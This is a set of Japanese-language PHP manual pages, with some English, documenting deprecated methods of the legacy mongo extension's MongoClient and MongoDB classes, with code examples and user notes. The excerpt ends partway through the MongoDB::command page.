  • Drops a database [deprecated]

MongoClient::dropDB

(PECL mongo >=1.3.0)

MongoClient::dropDB — Drops a database [deprecated]

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。しかし、かわりに使える PHP ライブラリ があります。

  • » MongoDB\Client::dropDatabase()

説明

public MongoClient::dropDB ( mixed $db ) : array
警告

Deprecated

Use MongoDB::drop() instead.

パラメータ

db

The database to drop. Can be a MongoDB object or the name of the database.

返り値

Returns the database response.

User Contributed Notes

There are no user contributed notes for this page.


データベースを取得する

  • ≪ MongoClient::dropDB
  • MongoClient::getConnections ≫
  • PHP Manual
  • MongoClient
  • データベースを取得する

Mongo::__get

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Mongo::__get — データベースを取得する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。しかし、かわりに使える PHP ライブラリ があります。

  • » MongoDB\Client::__get()

説明

public Mongo::__get ( string $dbname ) : MongoDB

これは、データベースを取得するための一番すっきりとした方法です。 データベース名に特殊文字が含まれている場合は Mongo::selectDB() を使う必要があります。しかし、ほとんどの場合はこれで十分でしょう。

<?php

$mongo = new Mongo();

// 次の 2 行はどちらも同じ意味です。
$db = $mongo->selectDB("foo");
$db = $mongo->foo;

?>

パラメータ

dbname

データベース名。

返り値

新しいデータベースオブジェクトを返します。

エラー / 例外

データベース名が無効な場合に例外をスローします。

User Contributed Notes

There are no user contributed notes for this page.


開いているすべての接続の情報を返す

  • ≪ Mongo::__get
  • Mongo::getHosts ≫
  • PHP Manual
  • MongoClient
  • 開いているすべての接続の情報を返す

MongoClient::getConnections

(PECL mongo >=1.3.0)

MongoClient::getConnections — 開いているすべての接続の情報を返す

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public static MongoClient::getConnections ( ) : array

開いているすべての接続と、それぞれのサーバーの情報を配列で返します。

パラメータ

この関数にはパラメータはありません。

返り値

開いている接続に関する配列を返します。

例

例1 MongoClient::getConnections() の例

<?php
$m = new MongoClient;
var_dump($m->getConnections());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [0]=>
  array(3) {
    ["hash"]=>
    string(26) "localhost:27017;-;X;56052"
    ["server"]=>
    array(3) {
      ["host"]=>
      string(10) "localhost"
      ["port"]=>
      int(27017)
      ["pid"]=>
      int(56052)
    }
    ["connection"]=>
    array(8) {
      ["last_ping"]=>
      int(1354076401)
      ["last_ismaster"]=>
      int(0)
      ["ping_ms"]=>
      int(0)
      ["connection_type"]=>
      int(1)
      ["connection_type_desc"]=>
      string(10) "STANDALONE"
      ["max_bson_size"]=>
      int(16777216)
      ["tag_count"]=>
      int(0)
      ["tags"]=>
      array(0) {
      }
    }
  }
}

User Contributed Notes

pankaj dot shuklamca at gmail dot com 07-Apr-2017 10:55
getConnections() function return all the connected hosts irrespective to replica set. Means if your application is making connection from 2 replicaset parallely - it will return hosts of both the replica set


関連づけられたすべてのホストの状態を更新する

  • ≪ MongoClient::getConnections
  • MongoClient::getReadPreference ≫
  • PHP Manual
  • MongoClient
  • 関連づけられたすべてのホストの状態を更新する

Mongo::getHosts

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Mongo::getHosts — 関連づけられたすべてのホストの状態を更新する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\Driver\Manager::getServers()

説明

public Mongo::getHosts ( ) : array

このメソッドは、レプリカセットへの接続に対してのみ使えます。 レプリカセット内のすべてのホストの状態を返します。 レプリカセットがなければ、接続中のホストを含むひとつの要素だけを持つ配列を返します。

読み込みのセカンダリへの分散についての情報は、このマニュアルの 問い合わせの節 を参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

セット内のホストに関する情報の配列を返します。 各ホストのホスト名、健康状態 (1 が最高)、状態 (1 はプライマリ、2 はセカンダリ、 0 はそれ以外)、サーバーへの ping にかかる時間、 そして最後に ping したのはいつなのかが含まれます。 たとえば、ローカルで稼働しているメンバ 3 台のレプリカセットだとこのようになります。

array(2) {
  ["A:27017"]=>
  array(4) {
    ["host"]=>
    "A"
    ["port"]=>
    27017
    ["health"]=>
    int(1)
    ["state"]=>
    int(2)
    ["ping"]=>
    int(369)
    ["lastPing"]=>
    int(1309470644)
  }
  ["B:27017"]=>
  array(4) {
    ["host"]=>
    "B"
    ["port"]=>
    27017
    ["health"]=>
    int(1)
    ["state"]=>
    int(1)
    ["ping"]=>
    int(139)
    ["lastPing"]=>
    int(1309470644)
  }
  ["C:27017"]=>
  array(4) {
    ["host"]=>
    "C"
    ["port"]=>
    27017
    ["health"]=>
    int(1)
    ["state"]=>
    int(2)
    ["ping"]=>
    int(1012)
    ["lastPing"]=>
    int(1309470644)
  }
}

変更履歴

バージョン | 説明
PECL mongo 1.2.10 | レプリカセットでない場合もサポートするようになりました。 返される配列の要素に、新たに hostname と port を含むようになりました。

参考

  • Mongo::getConnections()

User Contributed Notes

There are no user contributed notes for this page.


この接続の優先読み込みを取得する

  • ≪ Mongo::getHosts
  • MongoClient::getWriteConcern ≫
  • PHP Manual
  • MongoClient
  • この接続の優先読み込みを取得する

MongoClient::getReadPreference

(PECL mongo >=1.3.0)

MongoClient::getReadPreference — この接続の優先読み込みを取得する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public MongoClient::getReadPreference ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、優先読み込みに関する配列を返します。配列に含まれる内容は、type (優先読み込みモードを表す文字列。MongoClient の定数に対応)、そして tagsets (すべてのタグセット条件のリスト) です。タグセットを指定しなかった場合は、tagsets は存在しません。

変更履歴

バージョン | 説明
PECL mongo 1.3.3 | 返り値が変わり、 MongoClient::setReadPreference() との整合性があるものになりました。 type の値は数字から文字列に変わり、 type_string は削除され、そして tagsets はコロン区切りの文字列ではなくキー/値のペアでタグを表すようになりました。

例

例1 MongoClient::getReadPreference() の返り値の例

<?php

$m = new MongoClient();
$m->setReadPreference(MongoClient::RP_SECONDARY, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
    array(),
));
var_dump($m->getReadPreference());
?>

上の例の出力は以下となります。

array(2) {
  ["type"]=>
  string(9) "secondary"
  ["tagsets"]=>
  array(3) {
    [0]=>
    array(2) {
      ["dc"]=>
      string(4) "east"
      ["use"]=>
      string(9) "reporting"
    }
    [1]=>
    array(1) {
      ["dc"]=>
      string(7) "west"
    }
    [2]=>
    array(0) {
    }
  }
}

参考

  • 優先読み込みのドキュメント
  • MongoClient::setReadPreference() - この接続の優先読み込みを設定する

User Contributed Notes

There are no user contributed notes for this page.


Get the write concern for this connection

  • ≪ MongoClient::getReadPreference
  • MongoClient::killCursor ≫
  • PHP Manual
  • MongoClient
  • Get the write concern for this connection

MongoClient::getWriteConcern

(PECL mongo >=1.5.0)

MongoClient::getWriteConcern — Get the write concern for this connection

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public MongoClient::getWriteConcern ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、書き込み確認を表す配列を返します。w の値はサーバーの台数を表す整数値かモードを表す文字列、そして wtimeout の値はサーバーが書き込み確認を待つ最大ミリ秒数です。

例

例1 MongoClient::getWriteConcern() return value example

<?php

$mc = new MongoClient('mongodb://localhost:27017', array('wTimeoutMS' => 500));
var_dump($mc->getWriteConcern());

$mc->setWriteConcern(1, 1000);
var_dump($mc->getWriteConcern());
?>

上の例の出力は以下となります。

array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(500)
}
array(2) {
  ["w"]=>
  int(1)
  ["wtimeout"]=>
  int(1000)
}

参考

  • The write concern documentation.
  • MongoClient::setWriteConcern() - Set the write concern for this connection

User Contributed Notes

There are no user contributed notes for this page.


サーバー上の指定したカーソルを削除する

  • ≪ MongoClient::getWriteConcern
  • MongoClient::listDBs ≫
  • PHP Manual
  • MongoClient
  • サーバー上の指定したカーソルを削除する

MongoClient::killCursor

(PECL mongo >=1.5.0)

MongoClient::killCursor — サーバー上の指定したカーソルを削除する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public MongoClient::killCursor ( string $server_hash , int|MongoInt64 $id ) : bool

サーバー上の、特定のカーソルを削除したくなることがあります。 通常は、未使用のまま 10 分が経過するとカーソルはタイムアウトします。 しかし、MongoCursor::immortal() を使って不死身のカーソルも作ることができ、 このカーソルは決してタイムアウトしません。 不死身のカーソルを削除できるようにするには、 MongoCursor::info() で得た情報を使ってこのメソッドを呼びます。

パラメータ

server_hash

カーソルの情報を持つ、サーバーのハッシュ。これは MongoCursor::info() で取得できます。

id

削除したいカーソルの ID。64 ビットの整数か、あるいは MongoInt64 クラスのオブジェクトを指定します。 32 ビットプラットフォーム (および Windows) では、 MongoInt64 クラスのオブジェクトでしか指定できません。

返り値

カーソルの削除処理を実行した場合に true、 引数に何か問題があった場合 (server_hash が間違っている場合など) に false を返します。 この返り値は、実際にカーソルが削除されたかどうかを表すものではありません。 サーバーからは、カーソルの削除に成功したかどうかの情報を得られないからです。

エラー / 例外

指定した server_hash が既存の接続にマッチしない場合に警告が発生します。 その場合、カーソルの削除は試みません。

例

例1 MongoClient::killCursor() の例

この例では、接続してクエリを発行し、カーソルの情報を取得してからカーソルを削除します。

<?php
$m = new MongoClient();
$c = $m->testdb->collection;
$cursor = $c->find();
$result = $cursor->next();

// 有効なカーソルが得られたので、そのハッシュと ID を取得します
$info = $cursor->info();

// カーソルを削除します
MongoClient::killCursor( $info['server'], $info['id'] );
?>

User Contributed Notes

There are no user contributed notes for this page.


Lists all of the databases available

  • ≪ MongoClient::killCursor
  • MongoClient::selectCollection ≫
  • PHP Manual
  • MongoClient
  • Lists all of the databases available

MongoClient::listDBs

(PECL mongo >=1.3.0)

MongoClient::listDBs — Lists all of the databases available

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。しかし、かわりに使える PHP ライブラリ があります。

  • » MongoDB\Client::listDatabases()

説明

public MongoClient::listDBs ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

Returns an associative array containing three fields. The first field is databases, which in turn contains an array. Each element of the array is an associative array corresponding to a database, giving th database's name, size, and if it's empty. The other two fields are totalSize (in bytes) and ok, which is 1 if this method ran successfully.

例

例1 MongoClient::listDBs() example

Example demonstrating how to use listDBs and the returned data structure.

<?php

$mongo = new MongoClient();
$dbs = $mongo->listDBs();
print_r($dbs);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [databases] => Array
        (
            [0] => Array
                (
                    [name] => doctrine
                    [sizeOnDisk] => 218103808
                    [empty] =>
                )
        )

    [totalSize] => 218103808
    [ok] => 1
)

User Contributed Notes

George Gombay 02-Jun-2014 10:41
A "no frills" listing of all the databases present can be obtained by means of the simple following steps:

<?php
$conn = new MongoClient("mongodb://localhost");
$dbases = $conn->listDBs();
$num = 0;
foreach ($dbases['databases'] as $dbs) {
         $num++;
        $dbname = $dbs['name'];
         echo "<br> $num. $dbname";
     }
?>

On the assumption that you have three databases present, the foregoing will produce an output that will look similar to this:

1. local
2. members
3. test


Gets a database collection

  • ≪ MongoClient::listDBs
  • MongoClient::selectDB ≫
  • PHP Manual
  • MongoClient
  • Gets a database collection

MongoClient::selectCollection

(PECL mongo >=1.3.0)

MongoClient::selectCollection — Gets a database collection

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。しかし、かわりに使える PHP ライブラリ があります。

  • » MongoDB\Client::selectCollection()

説明

public MongoClient::selectCollection ( string $db , string $collection ) : MongoCollection

パラメータ

db

The database name.

collection

The collection name.

返り値

Returns a new collection object.

エラー / 例外

Throws Exception if the database or collection name is invalid.

例

例1 MongoClient::selectCollection() example

<?php
$m = new MongoClient();

$c1 = $m->selectCollection("foo", "bar.baz");
// which is equivalent to
$c2 = $m->selectDB("foo")->selectCollection("bar.baz");

// $c1 and $c2 now represent the same collection
?>

User Contributed Notes

There are no user contributed notes for this page.


Gets a database

  • ≪ MongoClient::selectCollection
  • MongoClient::setReadPreference ≫
  • PHP Manual
  • MongoClient
  • Gets a database

MongoClient::selectDB

(PECL mongo >=1.3.0)

MongoClient::selectDB — Gets a database

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。しかし、かわりに使える PHP ライブラリ があります。

  • » MongoDB\Client::selectDatabase()

説明

public MongoClient::selectDB ( string $name ) : MongoDB

パラメータ

name

The database name.

返り値

Returns a new database object.

エラー / 例外

Throws Exception if the database name is invalid.

User Contributed Notes

There are no user contributed notes for this page.


この接続の優先読み込みを設定する

  • ≪ MongoClient::selectDB
  • MongoClient::setWriteConcern ≫
  • PHP Manual
  • MongoClient
  • この接続の優先読み込みを設定する

MongoClient::setReadPreference

(PECL mongo >=1.3.0)

MongoClient::setReadPreference — この接続の優先読み込みを設定する

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public MongoClient::setReadPreference ( string $read_preference , array $tags = ? ) : bool

パラメータ

read_preference

読み込みの優先モード。MongoClient::RP_PRIMARY、MongoClient::RP_PRIMARY_PREFERRED、MongoClient::RP_SECONDARY、MongoClient::RP_SECONDARY_PREFERRED あるいは MongoClient::RP_NEAREST のいずれか。

tags

ゼロ個以上のタグセットの配列。各タグセット自体も配列で、レプリカセットのメンバーのタグにマッチさせる条件として使います。

返り値

成功した場合に true、それ以外の場合に false を返します。

エラー / 例外

パラメータが無効な場合、あるいは優先読み込みモードが MongoClient::RP_PRIMARY のときにタグセットを指定した場合に E_WARNING が発生します。

例

例1 MongoClient::setReadPreference() タグセット配列構文の例

<?php

$m = new MongoClient();

// "east" データセンターの一番近いサーバーをレポート用に使うようにして、
// 代替として "west" データセンターのサーバーを設定します
$m->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));
?>

参考

  • 優先読み込みのドキュメント
  • MongoClient::getReadPreference() - この接続の優先読み込みを取得する

User Contributed Notes

There are no user contributed notes for this page.


Set the write concern for this connection

  • ≪ MongoClient::setReadPreference
  • Mongo::__toString ≫
  • PHP Manual
  • MongoClient
  • Set the write concern for this connection

MongoClient::setWriteConcern

(PECL mongo >=1.5.0)

MongoClient::setWriteConcern — Set the write concern for this connection

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public MongoClient::setWriteConcern ( mixed $w , int $wtimeout = ? ) : bool

パラメータ

w

書き込み確認。何台のサーバーに書き込めたら成功とみなすのかを表す整数値、あるいは文字列 ("majority" など) でモードを指定します。

wtimeout

サーバーが書き込み確認を待つ最大ミリ秒数。

返り値

成功した場合に true、それ以外の場合に false を返します。

エラー / 例外

w が整数値あるいは文字列でない場合に E_WARNING が発生します。

例

例1 MongoClient::setWriteConcern() example

<?php

$mc = new MongoClient('mongodb://rs1.example.com,rs2.example.com');

// Require that the majority of servers in the replica set acknowledge writes
// within three seconds.
$mc->setWriteConcern('majority', 3000);
?>

参考

  • The write concern documentation.
  • MongoClient::getWriteConcern() - Get the write concern for this connection

User Contributed Notes

There are no user contributed notes for this page.


この接続の文字列表現

  • ≪ MongoClient::setWriteConcern
  • MongoDB ≫
  • PHP Manual
  • MongoClient
  • この接続の文字列表現

Mongo::__toString

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

Mongo::__toString — この接続の文字列表現

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

説明

public Mongo::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

この接続のホスト名とポートを返します。

User Contributed Notes

There are no user contributed notes for this page.


MongoDB クラス

(PECL mongo >=0.9.0)

はじめに

このクラスのインスタンスを使用してデータベースとのやりとりを行います。 データベースを取得するには、このようにします。

例1 データベースの選択

<?php

$m = new MongoClient(); // 接続
$db = $m->selectDB("example");

?>
データベース名には、ASCII の範囲内でほとんどの文字を使うことができます。 しかし、" " や "." を使うことはできず、空文字列にすることもできません。 "system" という名前も予約済みで、使うことができません。

あまり一般的ではありませんが、 "null"、"[x,y]"、"3"、"\""、"/" などは正しい形式のデータベース名です。

コレクション名とは異なり、データベース名には "$" を含めてもかまいません。

クラス概要

MongoDB {
/* 定数 */
const int PROFILING_OFF = 0 ;
const int PROFILING_SLOW = 1 ;
const int PROFILING_ON = 2 ;
/* フィールド */
public int $w = 1 ;
public int $wtimeout = 10000 ;
/* メソッド */
public authenticate ( string $username , string $password ) : array
public command ( array $command , array $options = array() , string &$hash = ? ) : array
public __construct ( MongoClient $conn , string $name )
public createCollection ( string $name , array $options = ? ) : MongoCollection
public createDBRef ( string $collection , mixed $document_or_id ) : array
public drop ( ) : array
public dropCollection ( mixed $coll ) : array
public execute ( mixed $code , array $args = array() ) : array
public forceError ( ) : bool
public __get ( string $name ) : MongoCollection
public getCollectionInfo ( array $options = array() ) : array
public getCollectionNames ( array $options = array() ) : array
public getDBRef ( array $ref ) : array
public getGridFS ( string $prefix = "fs" ) : MongoGridFS
public getProfilingLevel ( ) : int
public getReadPreference ( ) : array
public getSlaveOkay ( ) : bool
public getWriteConcern ( ) : array
public lastError ( ) : array
public listCollections ( array $options = array() ) : array
public prevError ( ) : array
public repair ( bool $preserve_cloned_files = false , bool $backup_original_files = false ) : array
public resetError ( ) : array
public selectCollection ( string $name ) : MongoCollection
public setProfilingLevel ( int $level ) : int
public setReadPreference ( string $read_preference , array $tags = ? ) : bool
public setSlaveOkay ( bool $ok = true ) : bool
public setWriteConcern ( mixed $w , int $wtimeout = ? ) : bool
public __toString ( ) : string
}

定義済み定数

MongoDB ログレベル

MongoDB::PROFILING_OFF
プロファイリングをオフにします。
MongoDB::PROFILING_SLOW
襲い接続 (>100 ms) に対するプロファイリングをオンにします。
MongoDB::PROFILING_ON
すべての操作に対するプロファイリングをオンにします。

フィールド

w
1

成功を返す前に変更をレプリケートするサーバーの数。このクラスの派生クラスである MongoCollection に継承されます。 w の機能が使えるのは、バージョン 1.5.1 以降の MongoDB サーバーと バージョン 1.0.8 以降のドライバを使っている場合のみです。

w は、通知レベルを調整したい場合に使います (MongoCollection::insert() や MongoCollection::update()、 MongoCollection::remove()、 MongoCollection::save() そして MongoCollection::ensureIndex() はすべて、このオプションをサポートしています)。 デフォルト値 (1) の場合、安全な操作は、 データベースサーバーでの操作が一度成功すれば結果を返します。 セカンダリへのレプリケーションが完了する前にサーバーが落ちてしまうと、 その操作が永遠に失われてしまう可能性があります。そこで w の値を 1 より大きく設定し、 少なくとも一台のセカンダリでの操作が完了してからでないと処理が成功したと見なさないようにするのです。

たとえば w を 2 にすると、メインのサーバー以外に ひとつのセカンダリ上で操作が記録されない限り、ドライバは MongoCursorException をスローします。 w の数をプライマリと全セカンダリの総数に設定したくなるかもしれませんが、 もしそうすると、ひとつのセカンダリがダウンしただけで操作が失敗して例外が発生するようになります。 通常は、w=2 (プライマリ、そしてセカンダリ一台) としておくのがいちばん安全でしょう。

wtimeout
10000

MongoDB::$w のレプリケーションが完了するまでに待つミリ秒数。 このクラスの派生クラスである MongoCollection に継承されます。 w の機能が使えるのは、バージョン 1.5.1 以降の MongoDB サーバーと バージョン 1.0.8 以降のドライバを使っている場合のみです。

wtimeout を設定しなければ、w のサーバーへのレプリケーションが完了するまでずっと待ち続けます。 ドライバのデフォルトは 10 秒ですが、この値を変更して挙動を変えることができます。

参考

MongoDB コアドキュメントの » データベース を参照ください。

目次

  • MongoDB::authenticate — このデータベースにログインする
  • MongoDB::command — データベースコマンドを実行する
  • MongoDB::__construct — 新しいデータベースを作成する
  • MongoDB::createCollection — コレクションを作成する
  • MongoDB::createDBRef — データベース参照を作成する
  • MongoDB::drop — このデータベースを削除する
  • MongoDB::dropCollection — コレクションを削除する [非推奨]
  • MongoDB::execute — JavaScript コードをデータベースサーバー上で実行する [非推奨]
  • MongoDB::forceError — データベースのエラーを作成する
  • MongoDB::__get — コレクションを取得する
  • MongoDB::getCollectionInfo — Returns information about collections in this database
  • MongoDB::getCollectionNames — このデータベースのすべてのコレクション名の配列を取得する
  • MongoDB::getDBRef — データベース参照が指すドキュメントを取得する
  • MongoDB::getGridFS — このデータベースに格納されているファイルを扱うためのツールキットを取得する
  • MongoDB::getProfilingLevel — このデータベースのプロファイリングレベルを取得する
  • MongoDB::getReadPreference — このデータベースの優先読み込みを取得する
  • MongoDB::getSlaveOkay — このデータベースの slaveOkay 設定を取得する
  • MongoDB::getWriteConcern — Get the write concern for this database
  • MongoDB::lastError — 直近のデータベース操作でエラーが発生したかどうかを調べる
  • MongoDB::listCollections — このデータベース内のすべてのコレクションの MongoCollection オブジェクトの配列を取得する
  • MongoDB::prevError — データベース操作中の直近に発生したエラーを調べる
  • MongoDB::repair — このデータベースを修復・圧縮する
  • MongoDB::resetError — データベースで発生したすべてのエラーをクリアする
  • MongoDB::selectCollection — コレクションを取得する
  • MongoDB::setProfilingLevel — このデータベースのプロファイリングレベルを設定する
  • MongoDB::setReadPreference — このデータベースの優先読み込みを設定する
  • MongoDB::setSlaveOkay — Change slaveOkay setting for this database
  • MongoDB::setWriteConcern — Set the write concern for this database
  • MongoDB::__toString — このデータベースの名前

User Contributed Notes

careddumattia at gmail dot com 15-Jan-2016 11:53
mongo extension is deprecated.

pecl install mongodb
m dot espositoii at yahoo dot com 27-Aug-2011 03:11
With Mongo it'll automatically create the collection, so just start using it and it'll do the creation itself.

In other words... just use SelectCollection, if it doesn't exist, it will after that so you can drop it.
jeromakay at yahoo dot com 20-Jan-2011 12:19
based on what I've read and then applied, you don't have to specifically create a database or table, you just initialize it.

Indeed, files are not being written inside /data/db, but they will the first moment you start adding data.

So, I'm taking as an example Twitter, with no db defined, I'm still going to have the db available if I run this code:

<?php

define('TWITTER_API_VERSION', 1);

date_default_timezone_set("Europe/Dublin");

try
{
    $m = new Mongo(); // connect
    $db = $m->selectDB("example");
}
catch ( MongoConnectionException $e )
{
    echo '<p>Couldn\'t connect to mongodb, is the "mongo" process running?</p>';
    exit();
}

$updates = file_get_contents( "http://api.twitter.com/". TWITTER_API_VERSION ."/statuses/public_timeline.json" );
$updates = json_decode( $updates );

if ( $updates && is_array( $updates ) && count( $updates ) )
{
    foreach ( $updates as $update )
    {
        $db->users->insert( $update );
    }
}

?>

Hope this was helpful!

Good luck!
Vladimir Ghetau


このデータベースにログインする

  • ≪ MongoDB
  • MongoDB::command ≫
  • PHP Manual
  • MongoDB
  • このデータベースにログインする

MongoDB::authenticate

(PECL mongo >=1.0.1)

MongoDB::authenticate — このデータベースにログインする

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替は、新しい拡張モジュールには存在しません。

認証用の情報は、接続文字列を使って渡す必要があります。

説明

public MongoDB::authenticate ( string $username , string $password ) : array

このメソッドは、接続を認証済みの状態にします。 データベースサーバーで認証を有効にしていると (デフォルトでは有効になっていません)、 ログインするまでは何もすることができません。

一般に認証は、このメソッドを使うよりも MongoClient::__construct() に組み込むことを推奨します。 接続時に認証を済ませておけば、接続が中断されて再接続したときにも自動的に認証をやり直します。 このメソッドで後から認証した場合は、 接続が中断されて再接続したらまたこのメソッドをコールし直さなければなりません。

このメソッドは、次のコードを実行するのと同じ意味です。

<?php

$salted = "${username}:mongo:${password}";
$hash = md5($salted);

$nonce = $db->command(array("getnonce" => 1));

$saltedHash = md5($nonce["nonce"]."${username}${hash}");

$result = $db->command(array("authenticate" => 1,
    "user" => $username,
    "nonce" => $nonce["nonce"],
    "key" => $saltedHash
));

?>

いったん認証を済ませた後、認証前の状態に戻すには データベースの "logout" コマンドを実行します。

<?php

$db->command(array("logout" => 1));

?>

パラメータ

username

ユーザー名。

password

パスワード (プレーンテキスト)。

返り値

データベースからの応答を返します。ログインに成功すると、次のようになります。

<?php
array("ok" => 1);
?>
何かが失敗した場合は、次のようになります。
<?php
array("ok" => 0, "errmsg" => "auth fails");
?>
("auth fails" は別のメッセージかもしれません。 データベースのバージョンや問題の原因によって変わります)。

参考

MongoDB コアドキュメントの » authenticate を参照ください。

変更履歴

バージョン | 説明
PECL mongo 1.2.11 | E_DEPRECATED を発行するようになりました。 認証情報の詳細をコンストラクタに渡しましょう。

User Contributed Notes

There are no user contributed notes for this page.


データベースコマンドを実行する

  • ≪ MongoDB::authenticate
  • MongoDB::__construct ≫
  • PHP Manual
  • MongoDB
  • データベースコマンドを実行する

MongoDB::command

(PECL mongo >=0.9.2)

MongoDB::command — データベースコマンドを実行する

説明

public MongoDB::command ( array $command , array $options = array() , string &$hash = ? ) : array

CRUD 操作以外のほとんどすべての操作は、データベースコマンドで行います。 データベースのバージョンを知りたい? それ用のコマンドがあります。 集約が必要ですって? そのためのコマンドがあります。 ログを記録したい? もちろん可能です。

このメソッドは、次のような関数と同じ働きをします。

<?php

public function command($data) {
    return $this->selectCollection('$cmd')->findOne($data);
}

?>

パラメータ

command

送信したいクエリ。

options

インデックスを作るオプションの配列です。現在サポートするオプションは次のとおりです。

  • "socketTimeoutMS"

    このオプションは、ソケット通信の制限時間を、ミリ秒単位で指定します。この時間内にサーバーからの反応がなければ、MongoCursorTimeoutException をスローします。この場合、サーバー側で書き込み処理が行われたのかどうかを判断できなくなります。-1 を指定すると、永遠にブロックします。MongoClient のデフォルト値は 30000 (30 秒) です。

以下のオプションは非推奨で、使ってはいけません。

  • "timeout"

    非推奨。"socketTimeoutMS" のエイリアス。

hash

コマンドを実行するサーバーの接続ハッシュを設定します。 コマンドの結果が MongoCommandCursor の作成に適したものである場合、このハッシュは MongoCommandCursor::createFromDocument() に渡されます。

このハッシュは、 MongoClient::getConnections() が返す接続に対応しています。

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | オプション "timeout" の名前が "socketTimeoutMS" に変わりました。 "wtimeout" を使うと、E_DEPRECATED が発生します。 参照渡しの hash パラメータが追加されました。
PECL mongo 1.2.0 | options パラメータと、そのオプション "timeout" が追加されました。

返り値

データベースの応答を返します。データベースの応答はすべて、 最大で 1 件のドキュメントになります。つまり、データベースへのコマンドの結果は決して 16MB を超えないということです。結果のドキュメントの構造はコマンドによって異なりますが、 大半の結果には ok フィールドがあって、これが成功したか失敗したかを表します。 また、同じく大半の結果には results フィールドもあって、 ここにドキュメントの配列が含まれます。

例

例1 MongoDB::command() による "distinct" の例

あるキーの、すべての異なる値を探します。

<?php

$people = $db->people;

$people->insert(array("name" => "Joe", "age" => 4));
$people->insert(array("name" => "Sally", "age" => 22));
$people->insert(array("name" => "Dave", "age" => 22));
$people->insert(array("name" => "Molly", "age" => 87));

$ages = $db->command(array("distinct" => "people", "key" => "age"));

foreach ($ages['values'] as $age) {
    echo "$age\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

4
22
87

例2 MongoDB::command() での "distinct" の例

重複を排除したすべての値をキーから取得します。条件は、値が 18 以上であることです。

<?php

$people = $db->people;

$people->insert(array("name" => "Joe", "age" => 4));
$people->insert(array("name" => "Sally", "age" => 22));
$people->insert(array("name" => "Dave", "age" => 22));
$people->insert(array("name" => "Molly", "age" => 87));

$ages = $db->command(
    array(
        "distinct" => "people",
        "key" => "age",
        "query" => array("age" => array('$gte' => 18))
    )
);

foreach ($ages['values'] as $age) {
    echo "$age\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

22
87

例3 MongoDB::command() での MapReduce の例

"sale" イベント上のすべてのユーザーと、各ユーザーが何回販売したかを取得します。

<?php

// サンプルイベントドキュメント
$events->insert(array("user_id" => $id,
    "type" => $type,
    "time" => new MongoDate(),
    "desc" => $description));

// map 関数と reduce 関数を作ります
$map = new MongoCode("function() { emit(this.user_id,1); }");
$reduce = new MongoCode("function(k, vals) { ".
    "var sum = 0;".
    "for (var i in vals) {".
        "sum += vals[i];".
    "}".
    "return sum; }");

$sales = $db->command(array(
    "mapreduce" => "events",
    "map" => $map,
    "reduce" => $reduce,
    "query" => array("type" => "sale"),
    "out" => array("merge" => "eventCounts")));

$users = $db->selectCollection($sales['result'])->find();

foreach ($users as $user) {
    echo "{$user['_id']} had {$user['value']} sale(s).\n";
}

?>

上の例の出力は、 たとえば以下のようになります。

User 47cc67093475061e3d9536d2 had 3 sale(s).
User 49902cde5162504500b45c2c had 14 sale(s).
User 4af467e4fd543cce7b0ea8e2 had 1 sale(s).

注意: MongoCode の使用

この例で使っている MongoCode には、引数でスコープを渡すこともできます。しかし現時点では、 MongoDB は MapReduce におけるスコープの使用に対応していません。 クライアントサイドの変数を MapReduce 関数で使いたい場合は、 データベースコマンドでオプションの scope フィールドを使って グローバルスコープに追加してください。詳細な情報は » MapReduce のドキュメント を参照ください。

注意: out 引数

